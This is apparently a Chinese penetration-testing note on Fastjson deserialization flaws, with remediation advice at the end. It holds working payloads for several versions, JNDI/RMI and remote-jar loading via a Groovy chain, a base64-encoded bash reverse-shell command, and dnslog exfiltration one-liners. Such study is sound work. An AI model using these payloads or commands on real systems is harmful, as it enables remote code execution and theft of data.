1、什么是fastjson
fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。
2、漏洞原理
FastJson在解析json的过程中,⽀持使⽤autoType来实例化某⼀个具体的类, 并调⽤该类的set/get⽅法来访问属性。通过查找代码中相关的⽅法,即可构造出⼀些恶意利⽤链。通俗理解就是:漏洞利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验 证,攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。
3、AutoType 功能:
- AutoType 允许在反序列化过程中使用 Java 类的全限定名来标识对象类型。默认情况下,Fastjson 的 AutoType 功能是关闭的,这是为了防止恶意构造的序列化数据利用类名执行恶意代码。
从历史爆出来的FastJson反序列化漏洞可以看出漏洞利用主要集中在如下的2个方面。
- 寻找新的利用链,绕过黑名单;
- 寻找绕过AutoType的方式;
4、payload以及漏洞复现
1、尝试是否存在fastjson反序列化漏洞,构造以下payload看到了版本信息:
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
在1.2.47版本之前,基本是对于checkAutoType中黑名单的绕过和修补,
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用。
FastJson<=1.2.24
{ "@type":"com.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://127.0.0.1/123", "autoCommit":true }
直到1.2.47版本,出现了新的利用姿势,无需开启AutoTypeSupport也可利用。
利用过程分两段,通过白名单java.lang.Class,先将目标类加载到Map中缓存,后面加载恶意类时可以直接从这个mappings中取出,从而“另辟蹊径”,完全绕过checkAutoType。
FastJson<=1.2.47
{
"axin":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"is":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.80.141:1099/slgipa",
"autoCommit":true
}
}
2、可以看到版本号为1.2.45
3、直接使用FastJson<=1.2.47payload即可,这里用到的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具。本地起一个监听端口用于反弹shell。利用JNDI-Injection-Exploit工具开启rmi服务器,-C 需要执行的命令:bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTk2LjEzMC8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i},将上面payload替换到上面测试版本号的数据包中,发送POC到FastJson服务器,通过RMI协议远程加载恶意类。成功反弹shell。
4、fastjson不出网判断
1)网站目录写文件/静态资源(需要知道网站路径)。
2)通过dnslog进行数据外带
3)直接将命令执行结果回显到请求Poc的HTTP响应中
目标Linux效果:把上面弹shell的命令换成将执行命令写入文件中。
dnslog外带:ping `whoami` .xxxx.dnslog.cn
目标windows效果:
dnslog外带:ping %USERNAME% .xxxx.dnslog.cn
5、Fastjson v1.2.80 存在 AutoType 绕过反序列化漏洞
漏洞在特定条件下可以绕过默认关闭的 AutoType 限制,结合一个新的利用链,可实现 RCE 。
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:81/attack-1.jar"
}
}
jar包写法https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7
6、修复方案
1、safeMode加固:Fastjson在1.2.68及之后的版本中引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持 autoType,可杜绝反序列化gadgets类变种攻击。
2、升级最新版本
- 默认关闭的 AutoType:
- Fastjson 默认情况下不启用 AutoType 功能。这意味着在反序列化过程中,Fastjson 不会接受并使用 Java 类的全限定名来标识和实例化对象类型。这样做是出于安全考虑,以防止恶意构造的序列化数据利用类名执行恶意代码。所以上面说的com.sun.rowset.JdbcRowSetImpl就不行了,只能调用其他类了,也就是用到依赖,主要是看引用库里面的jar包,例如项目中引用了groovy,fastjson1.2.76-1.2.80,依赖groovy,就可以用groovy poc去利用。
- 例如:groovy利用(网上有不少这种利用链的poc)。
- poc1
- poc2